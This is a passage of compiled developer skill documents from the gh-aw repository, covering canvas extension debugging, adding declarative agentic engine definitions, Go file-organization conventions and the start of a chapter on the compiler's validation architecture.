- **In-repo, committed artifacts** — architecture diagrams, ADRs, design docs that belong in the repo. Write to a sensible repo path.
- **Per panel (`instanceId`)** — only ephemeral UI state that genuinely should not survive a reload.

Resolve the owning ID in `open()` from `input`, load persisted state for that ID, and render. Two `instanceId`s for the same `documentId` should show the same content.

## App theme tokens

The runtime mirrors the canvas theme contract onto your canvas document:
- Root/body attributes: `data-color-mode`, `data-dark-theme`, `data-light-theme`, `data-theme-source`, `data-theme-tone`, `data-visual-mode`, `pointer-on-hover` class.
- Semantic tokens: `--background-color-default`, `--border-color-default`, `--text-color-default`, `--text-color-muted`, `--color-focus-outline`.
- Type ramp: `--font-sans`, `--font-mono`, `--font-weight-semibold`, `--text-body-medium`, `--leading-body-medium`.
- True-color: `--true-color-red`, `--true-color-red-muted`, `--true-color-blue`, `--true-color-blue-muted`.

```css
body {
    margin: 0;
    background: var(--background-color-default, #ffffff);
    color: var(--text-color-default, #1f2328);
    font-family: var(--font-sans, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif);
    font-size: var(--text-body-medium, 14px);
    line-height: var(--leading-body-medium, 20px);
}
```

Only depend on the attributes, classes, and variables documented above — others are app-internal and can change.

## Validation checklist

1. **Discovery** — confirm your canvas appears in the `<canvases>` section of the system prompt, then verify `list_canvas_capabilities({ canvasId })` returns your `actions[]`.
2. **Open** — call `open_canvas({ canvasId, input? })`. Confirm you receive `{ instanceId, url? }` and no error.
3. **Action** — call `invoke_canvas_action({ instanceId, actionName, input? })` and confirm correct response payload.
4. **Input validation** — call `open_canvas` with input that fails `inputSchema`. Expect `canvas_input_invalid`.
5. **Reserved verb rejection** — call `invoke_canvas_action(instanceId, "canvas.open", ...)`. Expect `canvas_reserved_action_name`.

## Debugging

1. `extensions_manage({ operation: "list" })` — is the extension loaded? Marked `failed`?
2. `extensions_manage({ operation: "inspect", name: "<name>" })` — surfaces log file path and tail. Primary debugging surface.
3. After editing, **always** `extensions_reload` before re-running RPC calls.
4. To force iframe reload, call `open_canvas` again with the same `instanceId`.
5. If not discovered at all, verify the file is named exactly `extension.mjs` and lives in an immediate subdirectory of `.github/extensions/`, `$COPILOT_HOME/extensions/`, or the session's extensions dir.

## Sharing extensions via Gist

Use `share_extension` / `install_extension` tools. Gist format:
- Flat file structure (subdirs encoded as `\` in gist keys, decoded on install).
- A `copilot-extension.json` manifest: `{ "name": "<extension-name>", "version": 1 }`.
- `node_modules/`, `dist/`, `build/`, `.git/`, hidden dirs (except `.github/`) skipped during share.
- Per-file cap: ~1 MB; total cap: ~5 MB.

## Common pitfalls

- **`console.log` corrupts JSON-RPC.** Use `session.log()` for user-visible messaging.
- Do not declare action names starting with `canvas.`.
- Do not forget to wire a `handler` on every `actions[]` entry.
- Bind servers to **loopback only**.
- `open` may be re-invoked on provider reconnect — treat it as idempotent and rehydrate from durable storage.
- Return raw values from action handlers; throw `CanvasError("code", "message")` for errors.
- The canvas context field is `ctx.canvasId`, not `ctx.id`.
- Tool names must be globally unique across all loaded extensions.
- `extension.mjs` only — `.ts` is not supported. The `@github/copilot-sdk` import is auto-resolved; do not add a `package.json` for it.

## Session object quick reference

```js
await session.log("message", { level?: "info"|"warning"|"error", ephemeral?: boolean });
await session.send({ prompt: "...", attachments?: [{ type: "file", path: "..." }] });
const response = await session.sendAndWait({ prompt: "..." });
const unsub = session.on("tool.execution_complete", (event) => { /* ... */ });
// session.workspacePath — path to session workspace (string | undefined)
// session.sessionId — current session ID
```

Key event types: `assistant.message`, `tool.execution_start`, `tool.execution_complete`, `user.message`, `session.idle`, `session.error`, `permission.requested`, `session.shutdown`.

<!-- chapter:end slug=create-canvas -->

---

<!-- chapter:begin slug=custom-engine-implementation position=32 -->

## 32. custom-engine-implementation

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/custom-engine-implementation/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/custom-engine-implementation/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/custom-engine-implementation.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: custom-engine-implementation
description: Add and test declarative behavior-defined agentic engines in gh-aw, extending Go infrastructure only when necessary.
---

# Custom Engine Implementation

Use this skill when adding a new agentic engine definition or extending the
behavior-defined engine infrastructure.

## Choose the smallest implementation

Prefer a shared Markdown engine definition. Installation, execution, MCP
configuration, provider routing, caching, manifests, plugins, network defaults,
harness scripts, and log parsing can already be declared through
`engine.behaviors`.

Only change Go code when the engine needs a reusable behavior that the
declarative model cannot express. Add a dedicated Go engine only when the
shared behavior-defined runtime cannot run the engine at all.

| Need | Implementation |
|---|---|
| Existing behaviors are sufficient | Add an imported shared engine definition |
| A reusable declarative behavior is missing | Extend the definition model and behavior-defined runtime |
| The shared runtime is fundamentally unsuitable | Add a dedicated Go engine and register it |

The relevant implementation is in:

- `pkg/workflow/engine_definition.go` for the definition model and catalog
- `pkg/workflow/behavior_defined_engine.go` for the shared runtime
- `pkg/workflow/engine_definition_loader.go` for embedded built-in definitions
- `pkg/workflow/agentic_engine.go` for dedicated Go engine registration
- `pkg/parser/schemas/main_workflow_schema.json` for the workflow schema

## Study representative engines

Read the closest examples before making changes:

- `.github/workflows/shared/opencode.md`: npm installation, merged
  configuration, MCP, provider routing, and log parsing
- `.github/workflows/shared/aider.md`: Python installation and a custom harness
  without native MCP
- `.github/workflows/shared/crush.md`: native MCP configuration adapter and
  harness
- `.github/workflows/shared/cursor.md`: plugin support
- `.github/workflows/shared/deepseek-harness.md`: provider endpoint discovery
  and a headless profile

Use the examples to identify a pattern, not as a reason to copy optional
behaviors.

## Add a shared engine definition

1. Create `.github/workflows/shared/<engine>.md`.
2. Declare `engine.id`, `display-name`, `description`, `experimental`, provider
   metadata, authentication, and only the required `behaviors`.
3. Pin a default CLI version. Make installation deterministic and provide a
   verification command.
4. Document setup, authentication, model syntax, MCP support, and limitations
   in the Markdown body. Keep in-repository integrations clearly identified as
   unsupported samples.
5. Add the engine ID and shared definition path to
   `.github/aw/engines.json`. Imported behavior-defined engines are registered
   dynamically; do not add them to `NewEngineRegistry()`.
6. Add `.github/workflows/smoke-<engine>.md`, following the closest existing
   smoke workflow. Import the shared definition and exercise the capabilities
   the engine claims to support.
7. Update the unsupported sample table in
   `docs/src/content/docs/reference/engines.md`.
8. Add a changeset when the engine is a user-visible repository sample. New
   experimental engines have precedent as a `minor` change.
9. Run `make recompile` and include the generated smoke workflow
   `.lock.yml`.

`TestKnownEngineImportsFile_MatchesSharedEngineFiles` in
`pkg/workflow/engine_definition_test.go` enforces catalog coverage for shared
external engines.

## Design the definition

Keep the definition declarative and minimal:

- Select the correct package manager, package name, binary name, version, and
  verification command under `behaviors.installation`.
- Put invocation arguments and non-secret environment variables under
  `behaviors.execution`.
- Use an existing secret strategy and provider environment mode where
  possible.
- Declare native MCP support only when the CLI can consume the generated
  configuration. Otherwise use a harness or the gh-aw CLI proxy pattern.
- Add only required default domains and map provider-specific domains under
  `behaviors.network.provider-domains`.
- Declare manifest files, cache paths, and plugin support only when the CLI
  consumes them.
- Add a log parser only when its emitted event format can be tested.

Treat inline JavaScript in harnesses, configuration adapters, and log parsers
as production code. Avoid shell interpolation, validate paths and child-process
arguments, preserve nonzero exit codes, and never print secret values. Enabling
package lifecycle scripts requires a pinned version and an explicit reason.

For log and error regular expressions, also load
`.github/skills/error-pattern-safety/SKILL.md`.

## Extend declarative infrastructure

When an engine exposes a generally useful capability that existing behaviors
cannot express:

1. Add the smallest field to the types in
   `pkg/workflow/engine_definition.go`.
2. Validate and render it in the focused behavior-defined engine files.
3. Update `pkg/parser/schemas/main_workflow_schema.json`.
4. Add focused tests for parsing, validation, and rendered execution behavior.
5. Run `make generate-schema-docs` when generated schema documentation changes.

Do not add a schema field for a behavior that can be represented by existing
installation, execution, environment, harness, or adapter fields.

For a dedicated Go runtime, implement the engine interfaces by composing the
existing helpers, keep engine-specific code in its own files, and register the
engine in `pkg/workflow/agentic_engine.go`. Cover configuration, commands,
environment, authentication, tools, logs, and failure handling with focused
tests.

## Test the right layers

Use tests that match the changed behavior:

| Area | Tests and examples |
|---|---|
| Harness, configuration, MCP, and environment | `behavior_defined_engine_harness_test.go` |
| Log parsing | `behavior_defined_engine_log_parser_test.go` |
| Cache behavior | `behavior_defined_engine_cache_test.go` |
| Definitions, catalog, and known imports | `engine_definition_test.go`, `engine_catalog_test.go` |
| Embedded definitions | `engine_definition_loader_test.go` |
| Real shared workflow harness | `aider_workflow_test.go` |
| Sandboxed CLI visibility | `cloud_hypervisor_test.go` |
| Generated smoke workflows | `compiled_lock_files_test.go` |

Test both definition parsing and the generated installation/execution steps.
Include negative cases for unsafe paths, invalid configuration, missing
credentials, or malformed logs when relevant.

## Validate

After Go changes:

```bash
make build
make fmt
```

After workflow Markdown changes:

```bash
make recompile
```

Run focused `go test` commands for the changed behavior while iterating. Before
an intermediate progress report, run:

```bash
make agent-report-progress-no-test
```

Before the final progress report, run:

```bash
make agent-report-progress
```

Use `make agent-finish` for the final repository validation when time allows.
Do not trigger a smoke workflow from a Copilot cloud agent run.

## Completion checklist

- The declarative path was preferred unless its limitations are documented.
- The engine definition uses a pinned, verified installation.
- Authentication, provider/model handling, MCP, and network access are covered.
- Harnesses and adapters do not expose secrets or interpolate untrusted input.
- `.github/aw/engines.json`, smoke workflow, generated lock file,
  documentation, and changeset are updated when applicable.
- Focused tests cover parsing and rendered runtime behavior.
- Repository validation passes.

<!-- chapter:end slug=custom-engine-implementation -->

---

<!-- chapter:begin slug=developer-code-organization position=33 -->

## 33. developer-code-organization

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/developer-code-organization/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/developer-code-organization/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/developer-code-organization.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: developer-code-organization
description: Code organization patterns, file structure guidelines, WASM build variants, and string processing conventions for gh-aw Go code.
---


# Code Organization

Use this reference for gh-aw code organization patterns, file structure guidelines, WASM build-variant stubs, and string sanitization/normalization conventions.

## Table of Contents

- [File Organization Principles](#file-organization-principles)
- [Excellent Patterns to Follow](#excellent-patterns-to-follow)
- [File Size Guidelines](#file-size-guidelines)
- [Decision Trees](#decision-tree-creating-new-files)
- [Case Study: Refactoring Large Files](#case-study-refactoring-large-files)
- [Anti-Patterns to Avoid](#anti-patterns-to-avoid)
- [Helper File Conventions](#helper-file-conventions)
- [String Sanitization vs Normalization](#string-sanitization-vs-normalization)
- [WASM Build-Variant Pattern](#wasm-build-variant-pattern)

### File Organization Principles

The codebase follows clear patterns for organizing code by functionality rather than type. This section provides guidance on maintaining code quality and structure.

#### Prefer Many Small Files Over Large Ones

Organize code into focused files of 100-500 lines rather than creating large monolithic files.

**Example:**
```
create_issue.go (160 lines)
create_pull_request.go (238 lines)
create_discussion.go (118 lines)
```

#### Group by Functionality, Not by Type

**Recommended approach:**
```
create_issue.go            # Issue creation logic
create_issue_test.go       # Issue creation tests
add_comment.go             # Comment addition logic
add_comment_test.go        # Comment tests
```

**Avoid:**
```
models.go                  # All structs
logic.go                   # All business logic
tests.go                   # All tests
```

### Excellent Patterns to Follow

#### Create Functions Pattern

One file per GitHub entity creation operation:
- `create_issue.go` - GitHub issue creation logic
- `create_pull_request.go` - Pull request creation logic
- `create_discussion.go` - Discussion creation logic
- `create_code_scanning_alert.go` - Code scanning alert creation

Benefits:
- Clear separation of concerns
- Easy to locate specific functionality
- Prevents files from becoming too large
- Facilitates parallel development

#### Engine Separation Pattern

Each AI engine has its own file with shared helpers in `engine_helpers.go`:
- `copilot_engine.go` - GitHub Copilot engine
- `claude_engine.go` - Claude engine
- `codex_engine.go` - Codex engine
- `custom_engine.go` - Custom engine support
- `engine_helpers.go` - Shared engine utilities

#### Test Organization Pattern

Tests live alongside implementation files:
- Feature tests: `feature.go` + `feature_test.go`
- Integration tests: `feature_integration_test.go`
- Specific scenario tests: `feature_scenario_test.go`

### File Size Guidelines

| Category | Lines | Use Case | Example |
|----------|-------|----------|---------|
| Small files | 50-200 | Utilities, simple features | `args.go` (65 lines) |
| Medium files | 200-500 | Most feature implementations | `create_issue.go` (160 lines) |
| Large files | 500-800 | Complex features | `permissions.go` (905 lines) |
| Very large files | 800+ | Core infrastructure only | `compiler.go` (1596 lines) |

### Decision Tree: Creating New Files

```mermaid
graph TD
    A[Need to add code] --> B{New safe output type?}
    B -->|Yes| C[Create create_entity.go]
    B -->|No| D{New AI engine?}
    D -->|Yes| E[Create engine_name_engine.go]
    D -->|No| F{Current file > 800 lines?}
    F -->|Yes| G[Consider splitting by boundaries]
    F -->|No| H{Functionality independent?}
    H -->|Yes| I[Create new file]
    H -->|No| J[Add to existing file]
```

### Decision Tree: Splitting Files

```mermaid
graph TD
    A[Evaluating file split] --> B{File > 1000 lines?}
    B -->|Yes| C[SHOULD split]
    B -->|No| D{File > 800 lines?}
    D -->|Yes| E[CONSIDER splitting]
    D -->|No| F{Multiple responsibilities?}
    F -->|Yes| E
    F -->|No| G{Frequent merge conflicts?}
    G -->|Yes| E
    G -->|No| H[Keep as is]
```

### Case Study: Refactoring Large Files

The refactoring of `pkg/parser/frontmatter.go` demonstrates applying file organization principles to a large monolithic file.

#### Initial State
- **Original file**: 1,907 lines (monolithic structure)
- **Problem**: Difficult to navigate, understand, and maintain
- **Goal**: Split into focused, maintainable modules

#### Refactoring Approach

```mermaid
graph TD
    A[frontmatter.go<br/>1,907 LOC] --> B[ansi_strip.go<br/>108 LOC]
    A --> C[frontmatter_content.go<br/>284 LOC]
    A --> D[remote_fetch.go<br/>258 LOC]
    A --> E[workflow_update.go<br/>129 LOC]
    A --> F[frontmatter.go<br/>1,166 LOC]

    B --> G[ANSI escape<br/>sequence utilities]
    C --> H[Frontmatter<br/>parsing & extraction]
    D --> I[GitHub remote<br/>content fetching]
    E --> J[Workflow file<br/>updates]
    F --> K[Core frontmatter<br/>processing]

    style B fill:#90EE90
    style C fill:#90EE90
    style D fill:#90EE90
    style E fill:#90EE90
    style F fill:#FFE4B5
```

#### Results

| Metric | Before | After | Change |
|--------|--------|-------|--------|
| Main file size | 1,907 LOC | 1,166 LOC | -741 LOC (-39%) |
| Number of files | 1 | 5 | +4 files |
| Average file size | 1,907 LOC | 233 LOC | -88% |
| Test pass rate | 100% | 100% | No change ✓ |
| Breaking changes | N/A | 0 | None ✓ |

#### Modules Extracted

1. **ansi_strip.go** (108 LOC)
   - ANSI escape sequence stripping utilities
   - Standalone, no dependencies
   - Functions: `StripANSI()`, `isFinalCSIChar()`, `isCSIParameterChar()`

2. **frontmatter_content.go** (284 LOC)
   - Basic frontmatter parsing and extraction
   - Pure functions without side effects
   - Functions: `ExtractFrontmatterFromContent()`, `ExtractFrontmatterString()`, `ExtractMarkdownContent()`, etc.

3. **remote_fetch.go** (258 LOC)
   - GitHub remote content fetching
   - GitHub API interactions and caching
   - Functions: `downloadIncludeFromWorkflowSpec()`, `resolveRefToSHA()`, `downloadFileFromGitHub()`

4. **workflow_update.go** (129 LOC)
   - High-level workflow file updates
   - Frontmatter manipulation and cron expression handling
   - Functions: `UpdateWorkflowFrontmatter()`, `EnsureToolsSection()`, `QuoteCronExpressions()`

#### Key Principles Applied

- **Single Responsibility**: Each module handles one aspect of frontmatter processing
- **Clear Boundaries**: Well-defined interfaces between modules
- **Progressive Refactoring**: Extract standalone utilities first, then higher-level modules
- **No Breaking Changes**: Maintain public API compatibility throughout
- **Test-Driven Safety**: Run tests after each extraction

#### Remaining Work

Three complex modules remain in the original file (requiring future work):
- **tool_sections.go** (~420 LOC): Tool configuration extraction and merging
- **include_expander.go** (~430 LOC): Recursive include resolution with cycle detection
- **frontmatter_imports.go** (~360 LOC): BFS import traversal and processing

These remain due to high interdependency, stateful logic, and complex recursive algorithms.

### Anti-Patterns to Avoid

#### God Files
Single file doing everything - split by responsibility instead. The frontmatter.go refactoring demonstrates how a 1,907-line "god file" can be systematically broken down.

#### Vague Naming
Avoid non-descriptive file names like `utils.go`, `helpers.go`, `misc.go`, `common.go`.

Use specific names like `ansi_strip.go`, `remote_fetch.go`, or `workflow_update.go` that clearly indicate their purpose.

#### Mixed Concerns
Keep files focused on one domain. Don't mix unrelated functionality in one file.

#### Test Pollution
Split tests by scenario rather than having one massive test file.

#### Premature Abstraction
Wait until you have 2-3 use cases before extracting common patterns.

### Helper File Conventions

Helper files contain shared utility functions used across multiple modules. Follow these guidelines when creating or modifying helper files.

#### When to Create Helper Files

Create a helper file when you have:
1. **Shared utilities** used by 3+ files in the same domain
2. **Clear domain focus** (e.g., configuration parsing, MCP rendering, CLI wrapping)
3. **Stable functionality** that won't change frequently

**Examples of Good Helper Files:**
- `github_cli.go` - GitHub CLI wrapping functions (ExecGH, ExecGHWithOutput)
- `config_helpers.go` - Safe output configuration parsing (parseLabelsFromConfig, parseTitlePrefixFromConfig)
- `map_helpers.go` - Generic map/type utilities (parseIntValue, filterMapKeys)
- `mcp_renderer.go` - MCP configuration rendering (RenderGitHubMCPDockerConfig, RenderJSONMCPConfig)

#### Naming Conventions

Helper file names should be **specific and descriptive**, not generic:

**Good Names:**
- `github_cli.go` - Indicates GitHub CLI helpers
- `mcp_renderer.go` - Indicates MCP rendering helpers
- `config_helpers.go` - Indicates configuration parsing helpers

**Avoid:**
- `helpers.go` - Too generic
- `utils.go` - Too vague
- `misc.go` - Indicates poor organization
- `common.go` - Doesn't specify domain

#### What Belongs in Helper Files

**Include:**
- Small (< 50 lines) utility functions used by multiple files
- Domain-specific parsing/validation functions
- Wrapper functions that simplify common operations
- Type conversion utilities

**Exclude:**
- Complex business logic (belongs in domain-specific files)
- Functions used by only 1-2 callers (co-locate with callers)
- Large functions (> 100 lines) - consider dedicated files
- Multiple unrelated domains in one file

#### Helper File Organization

**Current Helper Files in pkg/workflow:**

| File | Purpose | Functions | Usage |
|------|---------|-----------|-------|
| `github_cli.go` | GitHub CLI wrapper | 2 functions | Used by CLI commands and workflow resolution |
| `config_helpers.go` | Safe output config parsing | 5 functions | Used by safe output processors |
| `map_helpers.go` | Generic map/type utilities | 2 functions | Used across workflow compilation |
| `prompt_step_helper.go` | Prompt step generation | 1 function | Used by prompt generators |
| `mcp_renderer.go` | MCP config rendering | Multiple rendering functions | Used by all AI engines |
| `engine_helpers.go` | Shared engine utilities | Agent, npm install helpers | Used by Copilot, Claude, Codex engines |

#### When NOT to Create Helper Files

Avoid creating helper files when:
1. **Single caller** - Co-locate with the caller instead
2. **Tight coupling** - Function is tightly coupled to one module
3. **Frequent changes** - Helper files should be stable
4. **Mixed concerns** - Multiple unrelated utilities (split into focused files)

**Example of co-location preference:**
```go
// Instead of: helpers.go containing formatStepName() used only by compiler.go
// Do: Put formatStepName() directly in compiler.go
```

#### Refactoring Guidelines

When refactoring helper files:
1. **Group by domain** - MCP rendering → mcp_renderer.go, not engine_helpers.go
2. **Keep functions small** - Large helpers (> 100 lines) may need dedicated files
3. **Document usage** - Add comments explaining when to use each helper
4. **Check call sites** - Ensure 3+ callers before keeping in helper file

#### Example: MCP Function Reorganization

The MCP rendering functions were moved from `engine_helpers.go` to `mcp_renderer.go` because:
- **Domain focus**: All functions relate to MCP configuration rendering
- **Multiple callers**: Used by Claude, Copilot, Codex, and Custom engines
- **Cohesive**: Functions work together to render MCP configs
- **Stable**: Rendering patterns don't change frequently

**Before:**
```
engine_helpers.go (478 lines)
  - Agent helpers
  - npm install helpers
  - MCP rendering functions ← Should be in mcp_renderer.go
```

**After:**
```
engine_helpers.go (213 lines)
  - Agent helpers
  - npm install helpers
  
mcp_renderer.go (523 lines)
  - MCP rendering functions
  - MCP configuration types
```

### String Sanitization vs Normalization

The codebase uses two distinct patterns for string processing with different purposes.

#### Sanitize Pattern: Character Validity

**Purpose**: Remove or replace invalid characters to create valid identifiers, file names, or artifact names.

**When to use**: When you need to ensure a string contains only valid characters for a specific context (identifiers, YAML artifact names, filesystem paths).

**What it does**:
- Removes special characters that are invalid in the target context
- Replaces separators (colons, slashes, spaces) with hyphens
- Converts to lowercase for consistency
- May preserve certain characters (dots, underscores) based on configuration

#### Normalize Pattern: Format Standardization

**Purpose**: Standardize format by removing extensions, converting between conventions, or applying consistent formatting rules.

**When to use**: When you need to convert between different representations of the same logical entity (e.g., file extensions, naming conventions).

**What it does**:
- Removes file extensions (.md, .lock.yml)
- Converts between naming conventions (dashes to underscores)
- Standardizes identifiers to a canonical form
- Does NOT validate character validity (assumes input is already valid)

#### Function Reference

**Sanitize Functions**:
- `SanitizeName(name string, opts *SanitizeOptions) string` - Configurable sanitization with custom character preservation
- `SanitizeWorkflowName(name string) string` - Sanitizes workflow names for artifact names and file paths
- `SanitizeIdentifier(name string) string` - Creates clean identifiers for user agent strings

**Normalize Functions**:
- `normalizeWorkflowName(name string) string` - Removes file extensions to get base workflow identifier
- `normalizeSafeOutputIdentifier(identifier string) string` - Converts dashes to underscores for safe output identifiers

#### Decision Tree

```mermaid
graph TD
    A[Need to process a string?] --> B{Need to ensure character validity?}
    B -->|Yes| C[Use SANITIZE]
    C --> D{Artifact name / file path?}
    C --> E{Identifier / user agent?}
    C --> F{Custom requirements?}
    D --> G[SanitizeWorkflowName]
    E --> H[SanitizeIdentifier]
    F --> I[SanitizeName with options]
    B -->|No| J{Need to standardize format?}
    J -->|Yes| K[Use NORMALIZE]
    K --> L{Remove file extensions?}
    K --> M{Convert conventions?}
    L --> N[normalizeWorkflowName]
    M --> O[normalizeSafeOutputIdentifier]
```

#### Best Practices

1. **Choose the right tool**: Use sanitize for character validity, normalize for format standardization.
2. **Don't double-process**: If normalize produces a valid identifier, don't sanitize it again.
3. **Document intent**: When using these functions, add comments explaining which pattern you're using and why.
4. **Validate assumptions**: If you assume input is already valid, document that assumption.
5. **Consider defaults**: Use `SanitizeIdentifier` when you need a fallback default value for empty results.

#### Anti-Patterns

**Don't sanitize already-normalized strings**:
```go
// BAD: Sanitizing a normalized workflow name
normalized := normalizeWorkflowName("weekly-research.md")
sanitized := SanitizeWorkflowName(normalized) // Unnecessary!
```

**Don't normalize for character validity**:
```go
// BAD: Using normalize for invalid characters
userInput := "My Workflow: Test/Build"
normalized := normalizeWorkflowName(userInput) // Wrong tool!
// normalized = "My Workflow: Test/Build" (unchanged - invalid chars remain)
```


### WASM Build-Variant Pattern

Seven files in `pkg/workflow/` provide stub implementations of OS-dependent
features for the WASM compilation target (`GOOS=js GOARCH=wasm`) used by the
gh-aw web playground. Each file is named with the `_wasm.go` suffix (Go's
implicit filename build constraint for `GOARCH=wasm`) **and** carries an
explicit `//go:build js || wasm` tag at line 1:

```
pkg/workflow/dependabot_wasm.go
pkg/workflow/docker_validation_wasm.go
pkg/workflow/git_helpers_wasm.go
pkg/workflow/github_cli_wasm.go
pkg/workflow/npm_validation_wasm.go
pkg/workflow/pip_validation_wasm.go
pkg/workflow/repository_features_validation_wasm.go
```

Each `_wasm.go` file mirrors the public/package-level function signatures of
its non-WASM counterpart but replaces OS calls (exec, filesystem, network)
with either no-ops or `fmt.Errorf("... not available in Wasm")` returns.

#### When a `_wasm.go` Stub is Required

Add a `_wasm.go` stub whenever you add a **new function** to an existing
`_wasm.go`-guarded file (or create a new file that calls OS-level tools at
compile/validation time). Specifically:

- Functions that call `os/exec` or run external binaries (gh, git, docker,
  npm, pip, uv, etc.)
- Functions that read from the real filesystem during compilation
- Functions that perform network I/O at validation time

Functions that **do not** need a WASM stub:
- Pure data transformations (string manipulation, YAML marshaling)
- Functions that only operate on in-memory data structures
- Functions gated behind `WithSkipValidation(true)` (already excluded at
  runtime, but still need to compile)

#### How to Add a Stub

1. Identify the non-WASM file (e.g., `github_cli.go`).
2. Open (or create) the corresponding `_wasm.go` file (e.g.,
   `github_cli_wasm.go`).
3. Ensure the build tag at line 1 is `//go:build js || wasm`.
4. Add a stub with the same signature that returns a zero value and/or an
   error:
   ```go
   func MyNewFunction(args ...string) ([]byte, error) {
       return nil, fmt.Errorf("MyNewFunction not available in Wasm")
   }
   ```
5. Verify the WASM build still compiles:
   ```bash
   GOOS=js GOARCH=wasm go build ./pkg/workflow/
   ```

#### Known Gap

`github_cli_wasm.go` currently omits stubs for `enrichGHError`,
`runGHWithSpinnerContext`, `RunGHCombinedContext`, `RunGHWithHost`, and
`SetGHHostEnv`. These are unexported helpers or thin wrappers called only
by the exported `RunGH*` family, which are already stubbed; the compiler
does not reference them directly. This is intentional — avoid adding stubs
for unexported helpers unless the WASM build breaks.

<!-- chapter:end slug=developer-code-organization -->

---

<!-- chapter:begin slug=developer-internals position=34 -->

## 34. developer-internals

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/developer-internals/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/developer-internals/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/developer-internals.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: developer-internals
description: "Internal gh-aw architecture: validation system design, safe output message patterns, schema validation, YAML compatibility notes, and MCP logs guardrail."
---


# gh-aw Internal Architecture

Use this reference when working on the gh-aw compiler internals, validation system, safe output processing, or MCP server features.

## Table of Contents

- [Validation Architecture](#validation-architecture)
- [Safe Output Messages](#safe-output-messages)
- [Schema Validation](#schema-validation)
- [YAML Compatibility](#yaml-compatibility)
- [MCP Logs Guardrail](#mcp-logs-guardrail)

## Validation Architecture

The validation system ensures workflow configurations are correct, secure, and compatible with GitHub Actions before compilation.

### Architecture Overview

```mermaid
graph LR
    WF[Workflow] --> CV[Centralized Validation]
    WF --> DV[Domain-Specific Validation]
    CV --> validation.go
    DV --> strict_mode_validation.go
    DV --> strict_mode_permissions_validation.go
    DV --> pip.go
    DV --> npm.go
    DV --> expression_safety_validation.go
    DV --> engine.go
    DV --> mcp-config.go
```

### Centralized Validation

**Location:** `pkg/workflow/validation.go` (core compile-time checks)

**Purpose:** General-purpose validation that applies across the entire workflow system

**Key Functions:**
- `validateExpressionSizes()` - Ensures GitHub Actions expression size limits
- `validateContainerImages()` - Verifies Docker images exist and are accessible
- `validateRuntimePackages()` - Validates runtime package dependencies
- `validateGitHubActionsSchema()` - Validates against GitHub Actions YAML schema
- `validateNoDuplicateCacheIDs()` - Ensures unique cache identifiers
- `validateSecretReferences()` - Validates secret reference syntax
- `validateRepositoryFeatures()` - Checks repository capabilities
- `validateHTTPTransportSupport()` - Validates HTTP transport configuration
- `validateWorkflowRunBranches()` - Validates workflow run branch configuration

**When to add validation here:**
- Cross-cutting concerns that span multiple domains
- Core workflow integrity checks
- GitHub Actions compatibility validation
- General schema and configuration validation
- Repository-level feature detection

### Domain-Specific Validation

Domain-specific validation is organized into separate files in `pkg/workflow/`:

#### Strict Mode Validation

**Files:** `pkg/workflow/strict_mode_validation.go` and the `strict_mode_*.go` validators

Enforces security and safety constraints in strict mode:
- `validateStrictPermissions()` - Refuses write permissions
- `validateStrictNetwork()` - Requires explicit network configuration
- `validateStrictMCPNetwork()` - Requires network config on custom MCP servers
- `validateStrictBashTools()` - Refuses bash wildcard tools

#### Python Package Validation

**File:** `pkg/workflow/pip.go`

Validates Python package availability on PyPI.

#### NPM Package Validation

**File:** `pkg/workflow/npm.go`

Validates NPX package availability on npm registry.

#### Expression Safety

**File:** `pkg/workflow/expression_safety_validation.go`

Validates GitHub Actions expression security with allowlist-based validation. The matching test coverage lives in `pkg/workflow/expression_safety_test.go`.

### Validation Decision Tree

```mermaid
graph TD
    A[New Validation Requirement] --> B{Security or strict mode?}
    B -->|Yes| C[strict_mode_validation.go]
    B -->|No| D{Only applies to one domain?}
    D -->|Yes| E{Domain-specific file exists?}
    E -->|Yes| F[Add to domain file]
    E -->|No| G[Create new domain file]
    D -->|No| H{Cross-cutting concern?}
    H -->|Yes| I[validation.go]
    H -->|No| J{Validates external resources?}
    J -->|Yes| K[Domain-specific file]
    J -->|No| I
```

### Validation Patterns

#### Allowlist Validation

Used for security-sensitive validation with limited set of valid options:

```go
func validateExpressionSafety(content string) error {
    matches := expressionRegex.FindAllStringSubmatch(content, -1)
    var unauthorizedExpressions []string

    for _, match := range matches {
        expression := strings.TrimSpace(match[1])
        if !isAllowed(expression) {
            unauthorizedExpressions = append(unauthorizedExpressions, expression)
        }
    }

    if len(unauthorizedExpressions) > 0 {
        return fmt.Errorf("unauthorized expressions: %v", unauthorizedExpressions)
    }
    return nil
}
```

#### External Resource Validation

Used for validating external dependencies:

```go
func validateDockerImage(image string, verbose bool) error {
    cmd := exec.Command("docker", "inspect", image)
    output, err := cmd.CombinedOutput()

    if err != nil {
        pullCmd := exec.Command("docker", "pull", image)
        if pullErr := pullCmd.Run(); pullErr != nil {
            return fmt.Errorf("docker image not found: %s", image)
        }
    }
    return nil
}
```

#### Schema Validation

Used for configuration file validation:

```go
func (c *Compiler) validateGitHubActionsSchema(yamlContent string) error {
    schema := loadGitHubActionsSchema()

    var data interface{}
    if err := yaml.Unmarshal([]byte(yamlContent), &data); err != nil {
        return err
    }

    if err := schema.Validate(data); err != nil {
        return fmt.Errorf("schema validation failed: %w", err)
    }
    return nil
}
```

#### Progressive Validation

Used for applying multiple validation checks in sequence:

```go
func (c *Compiler) validateStrictMode(frontmatter map[string]any, networkPermissions *NetworkPermissions) error {
    if !c.strictMode {
        return nil
    }

    if err := c.validateStrictPermissions(frontmatter); err != nil {
        return err
    }

